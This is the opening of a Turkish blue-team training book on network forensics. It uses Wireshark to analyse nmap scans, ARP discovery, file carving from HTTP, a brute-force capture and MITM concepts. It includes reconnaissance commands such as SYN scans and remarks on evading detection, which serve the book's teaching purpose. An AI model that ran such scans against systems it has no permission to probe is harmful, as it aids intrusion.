Kitabımızın ilk 3 bölümünü içermektedir.
BÖLÜM 1: NETWORK FORENSİC
• Port Tarama Trafik Paket Analizi
• Host Keşif Trafik Analizi
• Ağ Trafiğinde Dosya Türleri Tespiti
• HTTP Trafiğinde Filtreler
• HTTP Brute Force Saldırı Analizi
• MITM Saldırı Analizi
• MYSQL Brute Force Saldırı Analizi
• SQL Injection Saldırı Analizi
• Yerel Ağ Sızma Testi Analizi
• Zararlı Dosya Transfer Analizi
• Web Shell Tespiti
BÖLÜM 2: MALWARE KAYNAK KOD ANALİZ
• C Keylogger Kaynak Kod Analizi
• C Reverse Shell Kaynak Kod Analizi
• Python Keylogger Kaynak Kod Analizi
• Python Reverse Shell Kaynak Kod Analizi
BÖLÜM 3: MALWARE TEMEL STATİK ANALİZ
• C Keylogger Temel Statik Analiz
• C Reverse Shell Temel Statik Analiz
• Python Reverse Shell Temel Statik Analiz
• Temel Statik Malware Analiz Teknikleri
• PMA Lab 01-04 Temel Statik Analizi
• PMA Lab 01-02 Temel Statik Analizi
• PMA Lab 01-03 Temel D-Statik Analizi
Bilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliği
Hacking'in Mavi Tarafı -1
1.
2. ÖN SÖZ
Bu kitap THT Blue Team ekibi tarafından Türk siber güvenlik
camiasına hediyemizdir. Siber güvenlik alanında malware
analiz, network forensic, assembly gibi konularda Türkçe
kaynak eksikliği göz önüne alınarak gönüllü bir ekip
tarafından hazırlanmıştır. Kitabın içeriğindeki saldırı trafik
analizleri bizzat kitap yazarları tarafından laboratuvar
ortamlarda oluşturularak eğitimlerde kullanılmış, hiçbir
sisteme zarar verilmemiştir. Ayrıca malware analizlerinde
kullanılan zararlılar da yine hem yazarlar tarafından
oluşturulmuş hem de ‘Practical Malware Analysis’ kitabının
içerisinde bulunan laboratuvar sorularından alınıp kitap için
analizleri gerçekleştirilerek kaleme alınmıştır.
Ayrıca kitabın kapak fotoğrafını tasarlayan NOVA ve grafik
tasarım ekibine de teşekkürlerimizi iletiyoruz.
3. İÇİNDEKİLER
BÖLÜM 1: NETWORK FORENSİC
Port Tarama Trafik Paket Analizi
Host Keşif Trafik Analizi
Ağ Trafiğinde Dosya Türleri Tespiti
HTTP Trafiğinde Filtreler
HTTP Brute Force Saldırı Analizi
MITM Saldırı Analizi
MYSQL Brute Force Saldırı Analizi
SQL Injection Saldırı Analizi
Yerel Ağ Sızma Testi Analizi
Zararlı Dosya Transfer Analizi
Web Shell Tespiti
BÖLÜM 2: MALWARE KAYNAK KOD ANALİZ
C Keylogger Kaynak Kod Analizi
C Reverse Shell Kaynak Kod Analizi
Python Keylogger Kaynak Kod Analizi
Python Reverse Shell Kaynak Kod Analizi
4. BÖLÜM 3: MALWARE TEMEL STATİK ANALİZ
C Keylogger Temel Statik Analiz
C Reverse Shell Temel Statik Analiz
Python Reverse Shell Temel Statik Analiz
Temel Statik Malware Analiz Teknikleri
PMA Lab 01-04 Temel Statik Analizi
PMA Lab 01-02 Temel Statik Analizi
PMA Lab 01-03 Temel D-Statik Analizi
BÖLÜM 4: MALWARE TEMEL DİNAMİK ANALİZ
Backdoor Temel Dinamik Analiz
Kalıcı Meterpreter Dinamik Analiz
Keylogger Temel Dinamik Analiz
Reverse Shell Temel Dinamik Analiz
PMA Lab 03-01 Temel Dinamik Analiz
PMA Lab 03-02 Temel Dinamik Analiz
PMA Lab 03-03 Temel Dinamik Analiz
PMA Lab 03-04 Temel Dinamik Analiz
BÖLÜM 5: ASSEMBLY
Register Kod Yapısı
Veri Aktarım Komutları
Adresleme Modları
Veri Tanımlamaları
Kontrol Yapıları ve Döngüler
String İşlemleri
Aritmetik Mantık Komutları
İşletim Sistemi ve BIOS İlişkisi
Ekran ve Klavye İşlemleri
Temel Giriş ve Çıkış Teknikleri
Alt Programlarla Bağlantı Kurma
Kaydırma ve Yönlendirme İşlemleri
Aritmetik İşlemler
5. Diziler
Klasör ve Dosya İşlemleri
BÖLÜM 6: İLERİ SEVİYE MALWARE ANALİZ
IDA ile Disassembly
Backdoor İleri Seviye Malware Analiz
IDA Pro ile Keylogger Analiz
PMA Lab 07-01 Analiz
PMA Lab 07-02 Analiz
PMA Lab 07-03 Analiz
PMA Lab 09-01 Analiz
PMA Lab 09-02 Analiz
PMA Lab 09-03 Analiz
BÖLÜM 7: BELLEK DÖKÜM ANALİZİ
PMA Lab 03-01 Bellek Döküm Analizi
PMA Lab 03-03 Bellek Döküm Analizi
7. PORT TARAMA TRAFİK ve PAKET ANALİZİ
Port Nedir?
Aslında port iki kola ayrılıyor. Fiziksel port ve sanal port olmak üzere. Ama bizi ilgilendiren ve
açıklayacağımız konudakiport çeşiti sanalport. Sanal port ağ ve internet üzerindeveyabir yazılım
vasıtasıyla yönlendirilen mantıksal bağlantı noktalarıdır. Genel manada internet aleminde kullanılan
portlar sanal port olarak adlandırılır.
Sanal portlara örnek verecek olursak
21-ftp
22-ssh
23-telnet
25-SMTP
53-DNS
161-SNMP
443-https
445-SMB
3306-MySQL
8080-HTTP-Proxy
Port Taraması Nedir?
Hedef üzerindebulunan portların çeşitli yardımcı araçlarla listelenmesi, açık portların üzerinden geçen
bağlantıların dinlenmesi, hangi servisler üzerindeçalıştığının tespitinin detaylı bir şekilde incelenmesi
vs. Port Tarama işlemi olarak adlandırıyoruz.
Bilişim sistemleri bilindiği üzere birbirleriyle iletişimi sağlamak için kullandıkları bağlantı noktalarınıport
olarak tanımlamıştık. Yapılan işe göreprotokoller, protokolleregörede portlardeğişmekteydi. Nmap
port tarama işlemi yapılırken, ağ tarama ve zafiyet tespiti için kullanılan en ünlü açık kaynak araçlarından
biridir. Port tarama işlemlerinde sıklıkla nmap aracını kullanacağız. Nmap, TCP ve UDP protokolleriyle
çalışmaktadır. Bu protokoller için bir bağlantı işlemi 4 nesne tarafından gerçekleştirilir.
8. kaynak IP, hedef IP, kaynak port ve hedef port adresidir.
İlk olarak TCP portlarının taranmasına bakalım. TCP protokolü Three Way Handshake yöntemini kullanarak
bağlantı kuran bir protokol. UDP protokolüne göre daha yavaştır bunun temel sebebi ise verinin
kontrolünü sağlaması yani karşıya ulaşıp ulaşmadığını kontrol etmesidir.
Three Way Handshake(üçlü el sıkışma) Nedir?
İstemci-sunucu arasında veri akışını sağlar. Bu protokolün temel amacı TCP/IP paketlerini doğru sırayla
hedefe götürmektir.
Özet olarak istemci tarafından bir bağlantı isteği(SYN) gider , İstemcinin gönderdiği paketi alan sunucu,
tekrardan istemciye SYN ve ACK gönderir. Son adım olarakta istemci sunucuya ACK gönderip Three Way
Handshake'i sonlandırır.
TCP iletim bayrakları nelerdir kısaca hatırlayalım
SYN : Yeni bir sequence numarası ile bağlantı isteği başlatan bayraktır.
[*]ACK : Acknowledge bayrağı veri aktarım isteğinin onaylandığını ve sonraki adımda beklenen
sequence number bilgisini belirler.
[*]PSH : Sistem bağlantı isteğini kabul ettiğini ve tampomlanan bilginin gönderilmesini belirten
bayraktır.
[*]URG : Bayrağı taşıyan paketin mümkün olduğunda hızlı iletilmesini belirten bayraktır.
[*]FIN : Daha fazla bilgi gönderilemeyeceğini bağlantının sonlandırılması gerektiğini belirten
bayraktır.
[*]RST : Bağlantıyı resetleyen bayraktır.
Şimdi gerekli argümanları öğrendiğimize göre port tarama analizine başlayabiliriz. Çeşitli port tarama
yöntemleri mevcut bunlardan birini veya birkaçını göstereceğim..
İlk olarak TCP port tarama yöntemlerinden TCP SYN(Stealth) Scan ile başlayalım.
Hedef sistem olarak ****sploitable 2, ana makine olarak Kali Linux 2020.4 ve aracımız ise Nmap
9. Öncelikle nmap -sS <hedef> ile taramamızı gerçekleştiriyoruz.
SYN(Stealth) Scan nmap'te varsayılan olarak yapılan, oldukça hızlı bir port tarama tekniğidir. SYN(Stealth)
Scan aynı zamanda half-open Scan olarakta bilinmektedir.
Böyle denilmesinin temel sebebi üçlü el sıkışmayı tamamlamamış olmasıdır. Böylece hedef sistemede
oturum açılmaz, log kayıtı tutulmaz ve sistemde herhangi bir kayıt tutulmasının önüne geçer.
TCP SYN(Stealth) Scan'da portların durumu(state) için dönecek cevaplar şunlardır:
-open, closed ve filtered.
Bu arada Port durumlarına bakacak olursak
open : Portun açıktır ve bulunan portu dinleyen bir uygulama mevcuttur.
[*]closed ortun kapalıdır fakat erişilebilir. Portu dinleyen herhangi bir uygulama yoktur.
[*]filtered : Portun durumu belli değildir. Filtreleme, problarının porta ulaşmasını engellemektedir.
Açık veya kapalı olduğunu bilemeyiz.
[*]unfiltered: Ack scan için dönen bu durumda portlar erişilebilir ama açık olduğu tespit edilemez.
[*]open|filtered: Nmap portların açık veya filtreli olduğuna karar veremez.
[*]closed|filtered: Nmap portların kapalı veya filtreli olduğuna karar veremez
6 farklı sonuç alma ihtimalimiz var.
10. Kapalı portlar üzerindeki işlemler şu şekilde gerçekleşir. Hedefe SYN paketi gönderilir. SYN paketine karşılık
RST/ACK geliyorsa portun closed olduğu anlaşılır ve sonraki porta geçilip tarama işlemi devam eder. Eğer
SYN paketlerine cevap gelmezse filtered olarak kabul edilir.
Wireshark üzerinden bir inceleme yapacak olursak..
192.168.91.131 ip adresinden 192.168.91.133 ip adresine 443(https) portundan bir SYN paketi
gönderiliyor. Hedeften ne döndüğünü incelicek olursak sağ tıklayıp follow >> tcp stream diyerek bu
adreslere ait paketleri görebiliriz.
SYN gönderdiğimiz hedeften görüldüğü gibi RST/ACK yanıtı gelmiş. Bu closed olduğuna veya firewall
tarafından korunduğu anlamına gelebilir.
11. Açık portlar üzerindeki işlemler ise şu şekilde gerçekleşir. Hedefe SYN paketi gönderilir. SYN paketine
karşılık olarak hedef SYN/ACK gönderir. Burada portun open olduğunu anlarız. Normal şartlarda üçlü el
sıkışmayı tamamlamak için ACK paketi göndermemiz gerekirken biz RST gönderip bağlantıyı
sonlandırabiliriz. Buradaki temel amacımız herhangi bir güvenlik önlemine yakalanmamaktır.
wireshark üzerinden açık olan bir port üzerinden inceleme yapalım..
Öncelikle açık portları görebilmek için SYN ve ACK değerleri 1 olan paketleri filtreleyebiliriz.
Bunun için tcp.flags.syn == 1 and tcp.flags.ack== 1 ifadesini kullanabiliriz.
Bilindiği üzere Wiresharkda and/or koşul ifadeleri kullanılarak filtrelemeler yapılabiliyor.
Açık portları gördüğümüze göre örnek bir paketin streamine bakalım..
12. Görüldüğü üzere SYN/ACK geldiğinde saldırgan hemen RST ile bitirmiş çünkü istediği bilgiyi elde etti.
Esasen burdaki kilit nokta ilk SYN paketinegelen cevaptır.
Ayrıca Win,Len,MSS değerleri hep aynı yani bu otomatize bir araçtarafından yapıldığı aşikar çünkü normal
bir işleyişte bu değerlerde aksaklık olabilir ve ayrıca taranan portların arka arkaya taranması, tüm portların
hemen hemen taranması da bir saldırı analizi olduğunu gösterir.
Görüldüğü gibi RST ve ACK değeri 1 olan çok fazla(2023) port taranmış..
Bir de UDP port taraması analizi yapalım..
Öncelikle UDP(User DatagramProtocol) TCPye göre hızlıdır fakat güvenli değildir. Veri ismine datagram
denilir. UDP port tarayıcıları protokol olarak TCP yerine UDP kullanır. Tarama yapılırken mutlaka UDP port
taraması da yapılmalıdır. Popüler servislerin çoğu TCP üzerinde çalışsa bile DNS, SNMP ve DHCP gibi
önemli servisler UDP'yi kullanır. UDP taraması, TCP'ye göre yavaş ve zor bir yöntemdir.
UDP paket gönderebilir ancak durumu hakkında bilgi edinemez. TCP'den ayrılan en büyük yönü de zaten
budur.Burada devreye ICMP protokolü girer.
Boş bir porta gönderilen UDP paketi, ICMP port unreachable,
Closed bir porta gönderilen UDP paketi ICMP error, yanıtını döndürecektir.
Eğer herhangi bir yanıt döndürmezse port open demektir fakat UDP protokolünde paketin hedefe
ulaşacağı garantisi verilemez.
UDP scannerlar kaybolan paketleri de open veya filtered olarak tanımlayabilirler.
13. Öncelikle nmap -sV -sU -p 53,161 <hedef> ile taramamızıgerçekleştiriyoruz.
Detaylıca inceleyecek olursak UDP taramasıiçin -sU parametresi kullandık. Ayrıca servislerin sürüm
bilgisini elde etmek için de sV parametresini kullanıdık. -p ile incelenecek portları seçtik 53-DNS (Domain
Name System) ve 161-SNMP (Simple Network Management Protocol).
161. porta gönderilen UDP paketi ICMP error yanıtını döndürdüğü için port closed olarak tanımlandı.
53. porta gönderilen UDP paketi ise herhangi bir yanıt almadığı için open olarak tanımlandı. Burada verinin
hedefe ulaşmamış olma ihtimalini de unutmayalım..
wireshark ile basitçe UDP paketi analizi yapacak olursak..
Öncelikle UDP yazarakfiltreleme yaptık ve paketin üzerine sağ tıklayıp follow >> UDP Stream dedik.
192.168.91.131 ip adresinden 192.168.91.133 ip adresine 161(SNMP) portuna UDP paketi gönderiliyor.
Daha sonra 192.168.91.133adresinden cevap olarak ICMP alınıyor.
UDP Başlığı(UDP Header) basit ve sadece 8 bytes'dan oluşur.
İçeriğinde 4 unsur vardır, bunlar:
SourcePort(2 bytes) yani paketin kaynak bağlantı numarası,
Destination port(2bytes) hedef bağlantı noktası numarası,
Length(2bytes) UDP Data + UDP Header,
14. Checksum(2 bytes) Sağlama toplamı, hataları tespit etmek için.
Görüldüğü üzerepaketimizin kaynak bağlantı noktası 37640, hedef bağlantı noktamız 161, paket boyutu
60 bytes + başlık boyutu yani 8 bytes toplam 68 bytes'dır.
Basitçe bir UDP paket analizi bu şekildedir..
HOST KEŞİF TRAFİK ANALİZİ
Host KeşifTrafik Analizi
Sistemnedir?,öncelikle konumuzabu soruyla başlayabiliriz.
Sistemözetlemekgerekirse,birbiriyleilişki içerisinde olan,birbiriyle etkileşenelemanlar
topluluğunaverilenisimdir.
Şimdi ise wireshark toolu ile ağdaki sistemleri keşifedeceğiz.
16. Trafik akışı gözükmeye başlıyor.
Source kısmında bulunan sistem bütün ağa broadcast yayını yapmaktadır bunun amacı ise ayakta olan
cihazları tespit etmek.
Bu bölümde opcode'nin değeri 1 olduğu için bu sistem bütün ağa broadcast isteği göndermiştir.
opcode 1 olan kayıtlara bakarsak burada istek yapan ip adreslerini görebilmekteyiz.
Karşı tarafdan ip adreslerini istemekte, ayakta olan cihazlar ise reply(opcode 2) göndermektedir.
17. Arp isteğinde aktif olan cihazların 80 portu açıksa syn paketi gönderimide yapılır.
Komutumuz;
Kod:
nmap PS -p 80 open -n 192.168.6.0/24
Burada ise 30 numaralı adrese syn paketi gönderilmiş, gönderilen hedef syn+ack ile onaylamış ve saldırgan
makine reset paketini göndermiştir.
Reset paketini gönderme amacı nedir?
Çünkü saldırgan bağlantı kurmak istememekte, saldırganın amacı sistemin açık olup olmadığını kontrol
etmektir.
Burada ise 129 numaralı makine 254 numaralı makineye syn göndermiştir ancak bir sonuç alamamıştır
çünkü 80 portu kapalıdır.
Ağ'da Aktif Cihazların Keşif Analizi
Üst tarafta bulunan filtre bölümünü kullanacağız.
18. Komutumuz;
Kod:
arp.opcode = = 1
Arp istekleri ile ağda yer alan cihazları tespit etmiş oluruz.
Burada girmiş olduğumuz 1 değeri ile ağ üzerinde yaptığımız arp isteklerini görebiliriz ve tüm cihazların ip
ve mac adreslerini görebiliriz.
Komutumuz;
Kod:
arp.opcode = = 2
Burada girmiş olduğumuz 2 değeri ile ayakta olan cihazlardan gelen reply paketlerini görebiliriz yani mac
adres bilgisi vs. yer almaktadır.
Ayakta olan cihaz source kısmında bulunurken, arp isteğini gönderen saldırgan tarafın bilgileri de
destination bölümünde bulunur.
19. Bu konumunda burda sonuna gelmiş bulunmaktayım.
Bugs Bunny iyi günler diler.
TRAFİKTE DOSYA TÜRLERİ TESPİTİ
Bu yazımda networktrafiğindeki bazıdosyaformatlarınıntespiti,indirilmesive kaynağına gidilmesini
inceleyeceğiz. Birçok dosya formatı mevcut fakat bu yazımızda örnek olması açısında 3
tanesini(PNG,JPEG,AVI) inceleyeceğiz..
Örneklerde incelediğimiz trafiklerin tamamı HTTP protokolünü kullanmaktadır.
PNG DOSYALARININ TESPİTİ
ÖnceliklePNGnedir?PortableNetworkGraphics,dijital cihazlarda kullanılan, sıkıştırılmış bir görüntü
formatıdır.
Şimdi örnek bir trafikte PNG dosyalarının tespitini yapalım..
Filtre olarak aşağıdaki iki seçeneği de kullanabiliriz.
Kod:
http contains"x89x50x4Ex47"
Kod:
http contains"PNG"
20. Yani PNGstringi yerine hexdeğeri de yazılabilir.
Görüldüğü üzere PNGdosyamızıtespitettik.
PNG DOSYALARININ DIŞA AKTARILMASI
Protocol Tree Windowbölümünden HypertextTransferProtocol > File Data kısmınasağ tıklayıp
Export Packet Bytes diyelim.
23. PNG DOSYALARININ KAYNAĞINAGİDİLMESİ
Protocol Tree Windowbölümünden HypertextTransferProtocol > Full requestURI bölümüne sağ
tıklayıpCopy > Value diyerekadresi kopyalayabiliriz.
JPEG DOSYALARININ TESPİTİ
JPEG(JointPhotographicExpertsGroup),standartlaştırılmışbirsayısal görüntükodlamabiçimidir.
JPEG standardındagörüntüsaklayandosyabiçimi de çoğunluktarafındanJPEGolarakadlandırılır. Bu
dosyalargenellikle .jpg,.jpe yada .jfif uzantılıdır. Yani özetolarak jpgile jpegarasında fark yoktur.
Tekfark kullanılan karaktersayısıdır.
Filtre olarakaşağıdaki iki seçeneğide kullanabiliriz.
Kod:
http contains"xffxd8"
Kod:
http contains "JPEG"
JPEG DOSYALARININ DIŞA AKTARIMI
Paketimizüzerine sağ tıklayıpFollow> TCP Stream diyelim.
24. Açılanpencerede Showand save data as kısmını raw olarakişaretleyelim.
Raw Nedir?Wikipedia'yagöre RAW,dijital fotoğraf makinelerinde filmin karşılığıolansensörüzerine
düşengörüntüdijital işlemci tarafındansayısal verilere dönüştürülüpfotoğraf haline getirilir.Çekim
sırasında belli işlemlerdengeçenhamgörüntügeneldeJPEGbazende TIFFdosyabiçimine
dönüştürülür.
Özetolarakelimizdeki JPEGkaynağınısayısal veriye dönüştürdük.Dahasonra Findbölümünde ffd8
yazarak arama yapalım.ffd8noktasını bulduktansonraonoktadanitibarenbütünbölümü
kopyalayalım
Ufak birnot! ffd8yazmamızın sebebi JPEGgörüntüdosyaları FFD8 ile başlarve FF D9 ile biter.Yani
buradaki amacımız başlangıç noktasıbulmaktır.
25. Kopyaladığımızkısmı herhangi birhexeditörüile açalım ve kopyaladığımızkısmı yapıştıralım.
ve bu dosyayı.jpeguzantılı olacak şekilde kaydedelim.İşlemimizbukadar.
JPEG DOSYALARININ KAYNAĞINA GİDİLMESİ
Aynı şekildeProtocol Tree Window bölümünden HypertextTransferProtocol > Full requestURI
bölümüne sağtıklayıp Copy> Value diyerekadresi kopyalayabiliriz.
27. Aynı şekilde Protocol Tree WindowbölümündenHypertextTransfer Protocol > File Data kısmına
sağ tıklayıpExport Packet Bytes diyelim.
.avi uzantılı olacakşekilde kayıtedelim.
28. veyayukarıda örneğini gösterdiğimiz File >Export Objects> Http kısmından da .avi uzantılıdosya
kayıt edilebilir.
AVIDOSYALARININ KAYNAĞINA GİDİLMESİ
PNG ve JPEG dosyalarındaolduğugibi AVIdosyalarındadakaynağagidilirkenProtocol Tree Window
bölümünden HypertextTransferProtocol > Request URI bölümüne sağtıklayıp Copy> Value diyerek
adresi kopyalayabiliriz.
veya
Paketinüzerine sağtıklayıpFollow>TCP Stream diyerekde dosyakaynağıhakkındabilgilerelde
edilebilir.
29. Konumuburadabitirmişbulunmaktayım.
Selamve Sevgilerle..
HTTP TRAFİĞİNDE FİLTRELER
Bu yazımızda HTTP trafiğini incelerken kullanabileceğimiz filtreler hakkında bilgi
vereceğim.
Yapacağımız örneklerde kullandığımız araç Wireshark Version 3.2.8
Http(Hyper Text Transfer Protocol) Protokolü Nedir?
90 yıllardan bu yana kullanılan popüler bir iletişim protokolüdür. HTTP protokolü sayesinde
internet ağı üzerindeki web sayfaları görüntülenebilir. Genel manada HTTP istemci(web
tarayıcı örn. chrome) - sunucu(web sunucusu) arasındaki iletişimin kurallarını belirleyen
yapıdır. Taşıma katmanında TCP protokolünü kullanır. Ayrıca bu protokol 80 portunu
kullanır.
Temel Çalışma Mantığı
Bir tarayıcı yardımıyla bir web sayfasına girmek istersek, sitenin adresini yazdığımızda
HTTP ile web sayfasına bir bağlantı isteği göndermiş oluruz. Eğer bu istek kabul
30. edilirse(200lü kodlar döner) web sayfası ile bağlantı kurmuş oluruz. Eğer kabul
edilmezse(500lü kodlar eğer tarayıcı ile ilgili bir hataysa 400lü kodlar) bize bir hata kodu
döndürür.
Filtreler
Kod:
http.response == 1 || 0 http.response == true || false
Gelen cevapları(response) görmek için boolean kullanabiliriz. True veya 1 değeri
response'ları bize filtreleyecektir.
Kod:
http.response.code = 200
HTTP yanıt durumu kodları ile filtreleme yapılabilir. Örnek "200 Tamam" yani başarılı
istekleri filtreledik.
veya
Kod:
http.response.code == 404
Bu sefer ise 404 Not Found yani bulunamama hatasının bulunduğu paketleri filtreledik.
Kod:
http.request.method == "GET"
31. request methodu "GET" olanları filtreledik.
Kod:
http.request.method == "POST"
request methodu "POST" olanları filtreledik.
Kod:
http.user_agent == "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)"
User-Agent değeri ile filtreledik.
User-Agent Nedir? Kullandığımız internet tarayıcılarının hepsi içerisinde User-Agent bilgisi
bulundurur. Biz bir sunucuya bağlanmak istediğimizde karşı taraf bizim hangi tarayıcıyı ve
hangi işletim sistemini kullandığımızı öğrenebilir.
Pakete Follow > HTTP Stream yaparak kontrol edebiliriz. Diğer vereceğimiz örneklerde de
detaylar için bu işlemi yapınız.
32. Kod:
http.host == "asecuritysite.com
Host adresine göre filtreleme yapabiliriz.
Kod:
http.request.full_uri == "Full/request/URI/adresi"
Full request URI adresi ile filtreleme yapabiliriz.
Kod:
http.date == "Mon, 17 Jun 2013 09:27:32 GMT"
33. Tarihe göre filtreleme yapabiliriz.
Kod:
http.content_type == "application/json"
Uygulama türünü belirterek filtreleme yapabiliriz.Ayrıca "text/html", "text/css",
"application/xhtml+xml" vs.. bunlar da birer örnektir.
Kod:
http.accept_encoding == "gzip, deflate"
34. Accept Encoding istemcinin hangi içerik kodlamasını anlayabileceğini bildirir, genellikle bir
sıkıştırma algoritması olur. Buradaki örnekte gzip ve deflate(her ikisi de dosya sıkıştırmada
kullanılır gzip daha etkilidir.) olarak filtrelemiş bulunduk.
Kod:
http.accept_language == "en-us"
Accept-Language HTTP başlığı, istemcinin hangi dilleri anlayabildiğini ve hangi dil türünün
tercih edildiğini bildirir. Burada en-us olarak filtreledik.
Bunların Dışında;
Kod:
http.cookie > cookie bilgisine göre filtreleme
http.content_length> içerik uzunluğuna göre filtreleme
http.content_type> içerik tipine göre filtreleme
http.file_data> veriye göre filtreleme
http.********> konuma göre filtreleme
http.time> zamana göre filtreleme
Görüntü Filtreleri;
Kod:
http contains PNG or "x89x50x4Ex47" http.content_type == "image/png"
35. http contains GIF or "GIF89a" http.content_type == "image/gif"
http contains JPEG or "xffxd8" http.content_type == "image/jpeg"
Video ve Ses Filtreleri;
Kod:
http contains MP3 or "x49x44x33"
http contains AVI or "x52x49x46x46"
Önceki yazımda kırmızı ile yazılanları detaylı bir şekilde inceledik. Detay için..
Diğer Dosya Türleri;
Kod:
http contains PDF or "%PDF"
http contains ZIP or "x50x4Bx03x04"
http contains RAR or "x52x61x72x21x1Ax07x00"
http contains GZIP or "x1Fx8Bx08"
http contains SWF or "x46x57x53"
Ayrıca filtreleme işlemi yaparken stringler yerine kullanabileceğiniz Magic Number'lar
işinize yarayabilir. Detay için..
Not: Bazı Wireshark filtreleri eski versiyonlarda desteklemeyebilir örneğin "http.accept"
filtresi 1.0.0 versiyonu ile 3.4.1 versiyonu arasındaki wireshark sürümleri için
kullanılabilirken, "http.bad_header_name" filtresi 3.0.0 versiyonu ile 3.4.1 versiyonu
arasında kullanılabiliyor.
Not2: HTTP filtrelerinde daha da detaya inmek isterseniz bu adresten filtrelerin karşısına
gelebilecek değişken tiplerine ve desteklediği versiyonlara kadar hepsini bulabilirsiniz.
Konumu burada bitirmiş bulunmaktayım.
Selam ve Sevgilerle..
36. HTTP BRUTE FORCE SALDIRI ANALİZİ
Saldırı trafikyadını açıp incelemeyebaşlıyorum.Gözüme çarpanilkşeyüçlüel sıkışmanın
gerçekleşmişolmasıve hemen ardındanhttpisteğiningönderilmesi.
İlgili GETisteği /kök dizinineyapılmışhemenüzerinetıklayıpaşağıdanisteğiniçeriğine bakıyorum.
Testphp.vulnweb.comsayfasınabirGET isteği yapılmış.Burayakadar herhangi biranormal durum
yok.Burada paketlerarasındakaybolmadanprotokol hiyerarşisine gözatıpbilgi toplamaya
başlıyorum.
Protokol hiyerarşisinde elde ettiğimbilgiye göre httpprotokolündeisteklergerçekleştirildiği,text
data ve form tabanlıisteklerinolduğunugörüyorum.Busebeptenhttpüzerindenbilgilerelde etmeye
devamediyorumburayatekrardangeleceğim.
http packetcounterbilgisine gözatıyorum.
37. 117 adethttppaketi olduğunugörüyorum.Response paketdetaylarında28 adetbaşarılı istek,8 adet
not found,8 adet302 foundşeklinde responselerdöndüğünügörüyorum.Requestpaketlerinin
ayrıntısında ise POST,GET ve SEARCH isteklerininkullanıldığınıgörüyorum.
http requestssekmesindeninceleme yaparsakhangi sayfalaraistekyapıldığınınetolaraksayısıyla
görüyoruz. Administrator,admin,admin/admin.phpvbbirçoksayfayaistekgönderilmişbudaaçık
bir şekildeadminpanel tespitiyapılmayaçalışıldığınıgösteriyor.
http requestsequencesayrıntılarınadabakalım.
Burada login.phpüzerindebirçokistekyapılmış,buradananlaşılansaldırganbusayfadaepey
oyalanmışdahasonra da userinfo,guestbookgibi sayfalaraerişimsağlanmış.Loginsayfasınayönelik
çeşitli brute force ataktan sonrauserinfosayfasınaerişimsağlamışolabilir.
38. Protokol hiyerarşi ayrıntılarınatekrardönüptextdataüzerinde filtreuygulayarakilgili paketleri
görüntülüyorum.
Burada 200, 404, 302 response değerleri dönenbirçokpaketkarşımızageldi.Buradanhttpstreamile
tüm httppaketlerinibirleştiripinceliyorum.
Adminsayfasınaistekyapılmış200 oksonucudönmüşve sayfa içerisinde linkbağlantısıolarak
create.sql adındabirdosyayer alıyorve hemenardındanbu dosyayabirget isteği gönderilmişyani
ilgili dosyayatıklanmış.
40. Buradan hareketle anlayacağımızsaldırgançeşitli denemeleryapmışsonuçolarak404 yani herhangi
bir sayfadönmemiş.Protokol hiyerarşisindede 404 içerenbirçokyanıt görmüştükbunlarınaslındabir
adminpanel bulmayayönelikisteklerolduğunuanlayabiliriz.
Sabredendervişmuradınaermiş.Saldırganlogin.phpsayfasınaistekgöndermişve 200 okyanıtını
almış yani aslındaloginsayfasınıbulmuş.Buradansonrasaldırganyüksekihtimalle loginformakaba
kuvvetdenemesi yapmışolmalı.
Buradan gördüğümüz gibi postdataiçerisinde unameve passpostparametrelerineadmin-admin
şeklindedeneme yapılmışve 302 foundsonucudönmüş.Buradananlayacağımızüzere tahminiz
tutuyoryani bir kabakuvvetdenemesi var.Postverilerininuserinfo.phpde işlendiğini anladığımıza
göre userinfosayfasınayapılanistekleri filtreleyebiliriz.
41. İlkpostisteğininiçeriğinigörüntülediğimde html formiçerisinde postdatalarınıniçeriklerini
görüyorumadminadmindenemesi yapılmış.Zatenprotokolhiyerarşisinde bunugörmüştük.
Sırasıyla postisteklerininbuşekilde kabakuvvetiçerdiğini görüyoruz.
İşaretlenenpakette isegidenbilgilerbuşekilde.
Buradan sonraise birpost isteği dahave ardından getisteği yapılmış.
Bir sonraki postisteğinde isefarklıparametreler değerlergirildiğinigörüyoruzyani farklıbirformvar.
Buradan saldırgantesttestbilgilerini girerekpaneleerişmişve farklıbirformadeğerlergöndermiş.
Zatencookie değerleri içerisinde de test-testverilerininolduğunugörüyoruzsaldırganbubilgilerle
girişyaptıktansonra cookie oluşturulmuş.
42. POST filtresiyaptığımızzamancomment.phpde gidendatalarabakalım.
Kullanıcıburada comment.phpsayfasındamesajınıbırakmış.
Searchsayfasındaxssdenemesi yapmış.Yani kısacasısaldırgansırasıyla adminpanel tespitetmiş,
kaba kuvvetsaldırısıyapmış ve içeride çeşitli mesajlarbırakmış.Ayrıcahttp-objectsdiyerekşuadmin
sayfasındabulunancreate.sql dosyasınıdadışarıya aktaralım. Saldırganbu sql dosyasınaerişmişti.
43. Bu analizimizde buradabiter.
MITM SALDIRI ANALİZİ
MITM (Ortadaki Adam Saldırısı)
MITM Nedir?
Ortadaki adam saldırısı ağda bulunan iki bağlantının arasındaki
haberleşmenin dinlenmesiyle verilerin ele geçirilmesini veya
haberleşmede herhangi bir değişiklik yapılmasını sağlayan bir saldırı
türüdür.
44. Ortadaki adam saldırısında user’ın yaptığı istek server’e gitmek yerine
önce saldırgana gitmektedir.
Local Ağ Üzerinden Yapılan Saldırılar
DNS Spoofing: Kullanılan DNS sunucusunun veri tabanına sızılarak
verilerin değiştirilmesiyle IP Adresinin saldırganın istediği bilgisayara
yönlendirilmesiyle olan bir saldırıdır.
45. ARP Poisoning: User’ın göndermiş olduğu istekler istenilen yere
gitmek yerine saldırgana gider. Peki bu nasıl oluyor? Saldırgan kendini
istenilen yer olarak gösterip user’ın gönderdiği istekleri alır. Saldıtgan
Fake ARP Request ile kendisini istenilen yer(hedef) olarak gösterebilir.
Saldırgan MAC adresini target bilgisayara ‘network device mac
adress’ olarak gösterir.
Port Stealing: Fake ARP oluşturularak target sunucunun MAC adresini
kaynak adresi olarak kullanıma alır. Bu sayede kurbanın bilgisayarına
gönderilen tüm veri, istekler saldırgana ulaşmış olur.
STP Mangling: STP (Spanning Tree), switchlerin iletişimi sırasında
oluşabilecek loop’ları önleyen bir protokoldür. STP Mangling ise STP
protokolünün çalışmasını engellen bir saldırı türüdür.
46. Gateway ile Local Ağdan Dış Ağa Yapılan Saldırılar
ARP Poisoning
DNS Spoofing
